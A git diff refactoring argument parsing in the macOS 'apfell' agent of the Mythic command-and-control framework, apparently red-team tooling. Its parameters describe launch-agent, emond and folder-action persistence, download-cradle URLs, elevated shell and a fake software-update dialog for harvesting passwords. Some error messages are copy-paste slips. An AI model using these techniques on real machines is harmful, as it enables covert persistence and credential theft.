05e6e7b..5cae789 100644 --- a/Payload_Type/apfell/mythic/agent_functions/hostname.py +++ b/Payload_Type/apfell/mythic/agent_functions/hostname.py @@ -4,9 +4,9 @@ class HostnameArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/ifconfig.py b/Payload_Type/apfell/mythic/agent_functions/ifconfig.py index 19973c9..7385896 100644 --- a/Payload_Type/apfell/mythic/agent_functions/ifconfig.py +++ b/Payload_Type/apfell/mythic/agent_functions/ifconfig.py @@ -4,9 +4,9 @@ class IfconfigArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/iterm.py b/Payload_Type/apfell/mythic/agent_functions/iterm.py index aacfb65..9c355c9 100644 --- a/Payload_Type/apfell/mythic/agent_functions/iterm.py +++ b/Payload_Type/apfell/mythic/agent_functions/iterm.py @@ -4,9 +4,9 @@ class ITermArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/jscript.py b/Payload_Type/apfell/mythic/agent_functions/jscript.py index 44bf62f..88b6227 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jscript.py +++ b/Payload_Type/apfell/mythic/agent_functions/jscript.py @@ -3,25 +3,27 @@ class JscriptArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "command": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="command", type=ParameterType.String, description="The JXA command to execute", + parameter_group_info=[ParameterGroupInfo()] ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("command", self.command_line) + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "command" in dictionary_arguments: + self.add_arg("command", dictionary_arguments["command"]) else: - raise ValueError("Missing arguments") - pass + raise ValueError("Missing 'command' argument") class JscriptCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/jsimport.py b/Payload_Type/apfell/mythic/agent_functions/jsimport.py index 8d78116..68ac2f2 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jsimport.py +++ b/Payload_Type/apfell/mythic/agent_functions/jsimport.py @@ -5,15 +5,16 @@ class JsimportArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "file": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="file", type=ParameterType.File, description="Select a JXA file to upload", + parameter_group_info=[ParameterGroupInfo()] ) - } + ] async def parse_arguments(self): if len(self.command_line) > 0: @@ -25,6 +26,12 @@ async def parse_arguments(self): raise ValueError("Missing arguments") pass + async def parse_dictionary(self, dictionary_arguments): + if "file" in dictionary_arguments: + self.add_arg("file", dictionary_arguments["file"]) + else: + raise ValueError("Missing 'file' argument") + class JsimportCommand(CommandBase): cmd = "jsimport" diff --git a/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py b/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py index 3f1b911..53a2c17 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py +++ b/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py @@ -3,25 +3,27 @@ class JsimportCallArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "command": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="command", type=ParameterType.String, description="The command to execute within a file loaded via jsimport", + parameter_group_info=[ParameterGroupInfo()] ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("command", self.command_line) + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "command" in dictionary_arguments: + self.add_arg("command", dictionary_arguments["command"]) else: - raise ValueError("Missing arguments") - pass + raise ValueError("Missing 'command' argument") class JsimportCallCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/launchapp.py b/Payload_Type/apfell/mythic/agent_functions/launchapp.py index 8df1dc9..39a9d31 100644 --- a/Payload_Type/apfell/mythic/agent_functions/launchapp.py +++ b/Payload_Type/apfell/mythic/agent_functions/launchapp.py @@ -4,25 +4,27 @@ class LaunchAppArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "bundle": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="bundle", type=ParameterType.String, description="The Bundle name to launch", + parameter_group_info=[ParameterGroupInfo()] ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("bundle", self.command_line) + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("bundle", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "bundle" in dictionary_arguments: + self.add_arg("bundle", dictionary_arguments["bundle"]) else: - raise ValueError("Missing arguments") - pass + raise ValueError("Missing 'bundle' argument") class LaunchAppCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/list_apps.py b/Payload_Type/apfell/mythic/agent_functions/list_apps.py index babfa61..816f187 100644 --- a/Payload_Type/apfell/mythic/agent_functions/list_apps.py +++ b/Payload_Type/apfell/mythic/agent_functions/list_apps.py @@ -4,9 +4,9 @@ class ListAppsArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass @@ -22,7 +22,8 @@ class ListAppsCommand(CommandBase): author = "@its_a_feature_" attackmapping = ["T1057"] argument_class = ListAppsArguments - browser_script = BrowserScript(script_name="list_apps", author="@its_a_feature_") + browser_script = [BrowserScript(script_name="list_apps", author="@its_a_feature_"), + BrowserScript(script_name="list_apps_new", author="@its_a_feature_", for_new_ui=True)] async def create_tasking(self, task: MythicTask) -> MythicTask: resp = await MythicRPC().execute("create_artifact", task_id=task.id, diff --git a/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py b/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py new file mode 100644 index 0000000..9b6169e --- /dev/null +++ b/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py @@ -0,0 +1,53 @@ +from mythic_payloadtype_container.MythicCommandBase import * +import json +from mythic_payloadtype_container.MythicRPC import * + + +class ListEntitlementsArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="pid", + type=ParameterType.Number, + default_value=-1, + description="Pid of the process to enumerate (-1 for all processes)", + parameter_group_info=[ParameterGroupInfo( + required=False + )] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("pid", int(self.command_line)) + + async def parse_dictionary(self, dictionary_arguments): + if "pid" in dictionary_arguments: + self.add_arg("pid", dictionary_arguments["pid"]) + else: + raise ValueError("Missing 'pid' argument") + + +class ListEntitlementsCommand(CommandBase): + cmd = "list_entitlements" + needs_admin = False + help_cmd = 'list_entitlements [pid]' + description = "This uses JXA to list the entitlements for a running process" + version = 1 + author = "@its_a_feature_" + attackmapping = [] + argument_class = ListEntitlementsArguments + supported_ui_features = ["list_entitlements:list"] + browser_script = [BrowserScript(script_name="list_entitlements_new", author="@its_a_feature_", for_new_ui=True)] + + async def create_tasking(self, task: MythicTask) -> MythicTask: + if task.args.get_arg("pid") == -1: + task.display_params = "for all running applications" + else: + task.display_params = "for pid " + str(task.args.get_arg("pid")) + return task + + async def process_response(self, response: AgentResponse): + pass diff --git a/Payload_Type/apfell/mythic/agent_functions/list_users.py b/Payload_Type/apfell/mythic/agent_functions/list_users.py index 3a2b1f9..ec209c1 100644 --- a/Payload_Type/apfell/mythic/agent_functions/list_users.py +++ b/Payload_Type/apfell/mythic/agent_functions/list_users.py @@ -4,34 +4,39 @@ class ListUsersArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "gid": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="gid", type=ParameterType.Number, - required=False, default_value=-1, description="Enumerate users in a specific group or -1 for all groups", + parameter_group_info=[ParameterGroupInfo( + required=False + )] ), - "groups": CommandParameter( + CommandParameter( name="groups", type=ParameterType.Boolean, - required=False, default_value=False, description="Enumerate groups and their members ", + parameter_group_info=[ParameterGroupInfo( + required=False + )] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") - pass + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "gid" in dictionary_arguments: + self.add_arg("gid", dictionary_arguments["gid"]) + if "groups" in dictionary_arguments: + self.add_arg("groups", dictionary_arguments["groups"]) class ListUsersCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/load.py b/Payload_Type/apfell/mythic/agent_functions/load.py index 5a6e8fe..33181bd 100644 --- a/Payload_Type/apfell/mythic/agent_functions/load.py +++ b/Payload_Type/apfell/mythic/agent_functions/load.py @@ -1,18 +1,32 @@ from mythic_payloadtype_container.MythicCommandBase import * -import json from mythic_payloadtype_container.MythicRPC import * import base64 +import sys class LoadArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter(name="commands", + type=ParameterType.ChooseMultiple, + description="One or more commands to send to the agent", + choices_are_all_commands=True), + ] async def parse_arguments(self): if len(self.command_line) == 0: - raise ValueError("Need to specify commands to load") - pass + raise ValueError("Must supply a set of commands") + self.add_arg("commands", self.command_line.split(" ")) + + async def parse_dictionary(self, dictionary_arguments): + if "commands" in dictionary_arguments: + if isinstance(dictionary_arguments["commands"], str): + self.add_arg("commands", dictionary_arguments["commands"].split(" ")) + else: + self.add_arg("commands", dictionary_arguments["commands"]) + else: + raise ValueError("Missing 'commands' argument") class LoadCommand(CommandBase): @@ -25,10 +39,13 @@ class LoadCommand(CommandBase): parameters = [] attackmapping = ["T1030", "T1129"] argument_class = LoadArguments + attributes = CommandAttributes( + suggested_command=True + ) async def create_tasking(self, task: MythicTask) -> MythicTask: total_code = "" - for cmd in task.args.command_line.split(" "): + for cmd in task.args.get_arg("commands"): cmd = cmd.strip() try: code_path = self.agent_code_path / "{}.js".format(cmd) @@ -36,11 +53,12 @@ async def create_tasking(self, task: MythicTask) -> MythicTask: except Exception as e: raise Exception("Failed to find code for '{}'".format(cmd)) resp = await MythicRPC().execute("create_file", task_id=task.id, - file=base64.b64encode(total_code.encode()).decode() + file=base64.b64encode(total_code.encode()).decode(), + comment="Loading the following commands: " + task.args.command_line ) if resp.status == MythicStatus.Success: task.args.add_arg("file_id", resp.response["agent_file_id"]) - task.args.add_arg("cmds", task.args.command_line) + task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}" else: raise Exception("Failed to register file: " + resp.error) return task diff --git a/Payload_Type/apfell/mythic/agent_functions/ls.py b/Payload_Type/apfell/mythic/agent_functions/ls.py index e852c41..dbb92a1 100644 --- a/Payload_Type/apfell/mythic/agent_functions/ls.py +++ b/Payload_Type/apfell/mythic/agent_functions/ls.py @@ -5,30 +5,30 @@ class LsArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "path": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="path", type=ParameterType.String, default_value=".", description="Path of file or folder on the current system to list", + parameter_group_info=[ParameterGroupInfo( + required=False + )] ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - temp_json = json.loads(self.command_line) - if "host" in temp_json: - # this means we have tasking from the file browser rather than the popup UI - # the apfell agent doesn't currently have the ability to do _remote_ listings, so we ignore it - self.add_arg("path", temp_json["path"] + "/" + temp_json["file"]) - self.add_arg("file_browser", True, type=ParameterType.Boolean) - else: - self.add_arg("path", temp_json["path"]) - else: - self.add_arg("path", self.command_line) + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary): + if "host" in dictionary: + # then this came from the file browser + self.add_arg("path", dictionary["path"] + "/" + dictionary["file"]) + self.add_arg("file_browser", type=ParameterType.Boolean, value=True) + else: + self.load_args_from_dictionary(dictionary) class LsCommand(CommandBase): @@ -41,7 +41,8 @@ class LsCommand(CommandBase): attackmapping = ["T1106", "T1083"] supported_ui_features = ["file_browser:list"] argument_class = LsArguments - browser_script = [BrowserScript(script_name="ls", author="@its_a_feature_")] + browser_script = [BrowserScript(script_name="ls", author="@its_a_feature_"), + BrowserScript(script_name="ls_new", author="@its_a_feature_", for_new_ui=True)] attributes = CommandAttributes( spawn_and_injectable=True, supported_os=[SupportedOS.MacOS], diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_emond.py b/Payload_Type/apfell/mythic/agent_functions/persist_emond.py index fb6532c..3e9715d 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_emond.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_emond.py @@ -3,47 +3,52 @@ class PersistEmondArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "rule_name": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="rule_name", type=ParameterType.String, description="Rule name for inside of the plist", + parameter_group_info=[ParameterGroupInfo()] ), - "payload_type": CommandParameter( + CommandParameter( name="payload_type", type=ParameterType.ChooseOne, choices=["oneliner-jxa", "custom_bash-c"], + parameter_group_info=[ParameterGroupInfo()] ), - "url": CommandParameter( + CommandParameter( name="url", type=ParameterType.String, description="url of payload for oneliner-jxa for download cradle", - required=False, + parameter_group_info=[ParameterGroupInfo( + required=False + )] ), - "command": CommandParameter( + CommandParameter( name="command", type=ParameterType.String, - required=False, description="Command if type is custom_bash-c to execute via /bin/bash -c", + parameter_group_info=[ParameterGroupInfo( + required=False + )] ), - "file_name": CommandParameter( + CommandParameter( name="file_name", type=ParameterType.String, description="Name of plist in /etc/emond.d/rules/", + parameter_group_info=[ParameterGroupInfo()] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("missing JSON arguments") - else: - raise ValueError("Missing arguments") - pass + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class PersistEmondCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py b/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py index 5d0f3a6..afe36bd 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py @@ -4,47 +4,65 @@ class PersistFolderactionArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "code": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="code", type=ParameterType.String, description="osascript code", - required=False, + parameter_group_info=[ParameterGroupInfo( + required=False, + group_name="code" + )] ), - "url": CommandParameter( + CommandParameter( name="url", - required=False, type=ParameterType.String, description="http://url.of.host/payload", + parameter_group_info=[ParameterGroupInfo( + required=False, + group_name="url" + )] ), - "folder": CommandParameter( + CommandParameter( name="folder", type=ParameterType.String, description="/path/to/folder/to/watch", + parameter_group_info=[ + ParameterGroupInfo(ui_position=1, group_name="url"), + ParameterGroupInfo(ui_position=1, group_name="code") + ] ), - "script_path": CommandParameter( + CommandParameter( name="script_path", type=ParameterType.String, description="/path/to/script/to/create/on/disk", + parameter_group_info=[ + ParameterGroupInfo(ui_position=2, group_name="url"), + ParameterGroupInfo(ui_position=2, group_name="code") + ] ), - "language": CommandParameter( + CommandParameter( name="language", type=ParameterType.ChooseOne, choices=["JavaScript", "AppleScript"], + default_value="JavaScript", description="If supplying custom 'code', this is the language", + parameter_group_info=[ + ParameterGroupInfo(ui_position=3, group_name="url", required=False), + ParameterGroupInfo(ui_position=3, group_name="code", required=False) + ] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON argument") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class PersistFolderactionCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_launch.py b/Payload_Type/apfell/mythic/agent_functions/persist_launch.py index 55d020f..ae26951 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_launch.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_launch.py @@ -3,54 +3,53 @@ class PersistLaunchArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "args": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="args", type=ParameterType.Array, description="List of arguments to execute in the ProgramArguments section of the PLIST", ), - "KeepAlive": CommandParameter( + CommandParameter( name="KeepAlive", type=ParameterType.Boolean, default_value=True, description="Restart the persistence if it crashes for some reason", ), - "label": CommandParameter( + CommandParameter( name="label", type=ParameterType.String, default_value="com.apple.softwareupdateagent", description="The label for the launch element", ), - "LaunchPath": CommandParameter( + CommandParameter( name="LaunchPath", type=ParameterType.String, - required=False, description="Path to save new plist to if LocalAgent is false", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - "LocalAgent": CommandParameter( + CommandParameter( name="LocalAgent", type=ParameterType.Boolean, default_value=True, description="Should be a local user launch agent?", ), - "RunAtLoad": CommandParameter( + CommandParameter( name="RunAtLoad", type=ParameterType.Boolean, default_value=True, description="Should the launch element be executed at load", ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class PersistLaunchCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py b/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py index 216bd63..cb17a1d 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py @@ -4,29 +4,28 @@ class PersistLoginItemAllUsersArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "path": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="path", type=ParameterType.String, description="path to binary to execute on execution", ), - "name": CommandParameter( + CommandParameter( name="name", type=ParameterType.String, description="The name that is displayed in the Login Items section of the Users & Groups preferences pane", ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class PersistLoginItemAllUsersCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/plist.py b/Payload_Type/apfell/mythic/agent_functions/plist.py index 21fb51a..46984d8 100644 --- a/Payload_Type/apfell/mythic/agent_functions/plist.py +++ b/Payload_Type/apfell/mythic/agent_functions/plist.py @@ -4,32 +4,32 @@ class PlistArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "filename": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="filename", type=ParameterType.String, - required=False, description="full filename path of type is just read", + parameter_group_info=[ParameterGroupInfo(group_name="read")] ), - "type": CommandParameter( + CommandParameter( name="type", type=ParameterType.ChooseOne, - choices=["readLaunchAgents", "readLaunchDaemons", "read"], - description="read a specific plist file or all launchagents/launchdaemons", + choices=["readLaunchAgents", "readLaunchDaemons"], + description="read all launchagents/launchdaemons", default_value="readLaunchAgents", + parameter_group_info=[ParameterGroupInfo()] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class PlistCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/prompt.py b/Payload_Type/apfell/mythic/agent_functions/prompt.py index 69e01d4..ecedf46 100644 --- a/Payload_Type/apfell/mythic/agent_functions/prompt.py +++ b/Payload_Type/apfell/mythic/agent_functions/prompt.py @@ -3,46 +3,45 @@ class PromptArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "title": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="title", type=ParameterType.String, description="Title of the dialog box", - required=False, default_value="Application Needs to Update", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - "icon": CommandParameter( + CommandParameter( name="icon", type=ParameterType.String, - required=False, description="full path to .icns file to use", default_value="/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - "text": CommandParameter( + CommandParameter( name="text", type=ParameterType.String, - required=False, description="additional descriptive text to display", default_value="An application needs permission to update", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - "answer": CommandParameter( + CommandParameter( name="answer", type=ParameterType.String, - required=False, description="Default answer to pre-populate", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON argument") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class PromptCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/pwd.py b/Payload_Type/apfell/mythic/agent_functions/pwd.py index 4d63c0d..71744d1 100644 --- a/Payload_Type/apfell/mythic/agent_functions/pwd.py +++ b/Payload_Type/apfell/mythic/agent_functions/pwd.py @@ -4,9 +4,9 @@ class PwdArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/rm.py b/Payload_Type/apfell/mythic/agent_functions/rm.py index 3a4e8d7..c66e225 100644 --- a/Payload_Type/apfell/mythic/agent_functions/rm.py +++ b/Payload_Type/apfell/mythic/agent_functions/rm.py @@ -4,15 +4,16 @@ class RmArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "path": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="path", type=ParameterType.String, description="Path to file to remove", + parameter_group_info=[ParameterGroupInfo()] ) - } + ] async def parse_arguments(self): if len(self.command_line) > 0: diff --git a/Payload_Type/apfell/mythic/agent_functions/run.py b/Payload_Type/apfell/mythic/agent_functions/run.py index cd99fcb..cc85857 100644 --- a/Payload_Type/apfell/mythic/agent_functions/run.py +++ b/Payload_Type/apfell/mythic/agent_functions/run.py @@ -4,29 +4,28 @@ class RunArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "args": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="args", type=ParameterType.Array, description="Arguments to pass to the binary", ), - "path": CommandParameter( + CommandParameter( name="path", type=ParameterType.String, description="Full path to binary to execute", ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class RunCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/screenshot.py b/Payload_Type/apfell/mythic/agent_functions/screenshot.py index da5d02b..f2d9efe 100644 --- a/Payload_Type/apfell/mythic/agent_functions/screenshot.py +++ b/Payload_Type/apfell/mythic/agent_functions/screenshot.py @@ -6,9 +6,9 @@ class ScreenshotArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass @@ -24,7 +24,8 @@ class ScreenshotCommand(CommandBase): parameters = [] attackmapping = ["T1113"] argument_class = ScreenshotArguments - browser_script = BrowserScript(script_name="screenshot", author="@its_a_feature_") + browser_script = [BrowserScript(script_name="screenshot", author="@its_a_feature_"), + BrowserScript(script_name="screenshot_new", author="@its_a_feature_", for_new_ui=True)] supported_os = [SupportedOS.MacOS] async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/security_info.py b/Payload_Type/apfell/mythic/agent_functions/security_info.py index 4e96e06..bab7a0e 100644 --- a/Payload_Type/apfell/mythic/agent_functions/security_info.py +++ b/Payload_Type/apfell/mythic/agent_functions/security_info.py @@ -4,9 +4,9 @@ class SecurityInfoArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/shell.py b/Payload_Type/apfell/mythic/agent_functions/shell.py index 3ef5294..38b7182 100644 --- a/Payload_Type/apfell/mythic/agent_functions/shell.py +++ b/Payload_Type/apfell/mythic/agent_functions/shell.py @@ -3,22 +3,19 @@ class ShellArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "command": CommandParameter( - name="command", type=ParameterType.String, description="Command to run" - ), - } + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter(name="command", display_name="Command", type=ParameterType.String, description="Command to run"), + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("command", self.command_line) - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply a command to run") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class ShellOPSEC(CommandOPSEC): @@ -72,8 +69,7 @@ class ShellCommand(CommandBase): argument_class = ShellArguments opsec_class = ShellOPSEC attributes = CommandAttributes( - spawn_and_injectable=True, - supported_os=[SupportedOS.MacOS] + suggested_command=True ) async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py b/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py index 36ee76f..111aa25 100644 --- a/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py +++ b/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py @@ -4,43 +4,45 @@ class ShellElevatedArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "command": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="command", type=ParameterType.String, description="Command to execute", + parameter_group_info=[ + ParameterGroupInfo(group_name="manual_creds"), + ParameterGroupInfo(group_name="prompt_creds") + ] ), - "use_creds": CommandParameter( - name="use_creds", - type=ParameterType.Boolean, - description="Use supplied creds or prompt the user for creds", + CommandParameter( + name="user", + type=ParameterType.Credential_Account, + parameter_group_info=[ParameterGroupInfo(group_name="manual_creds")] ), - "user": CommandParameter( - name="user", type=ParameterType.Credential_Account, - required=False + CommandParameter( + name="credential", + 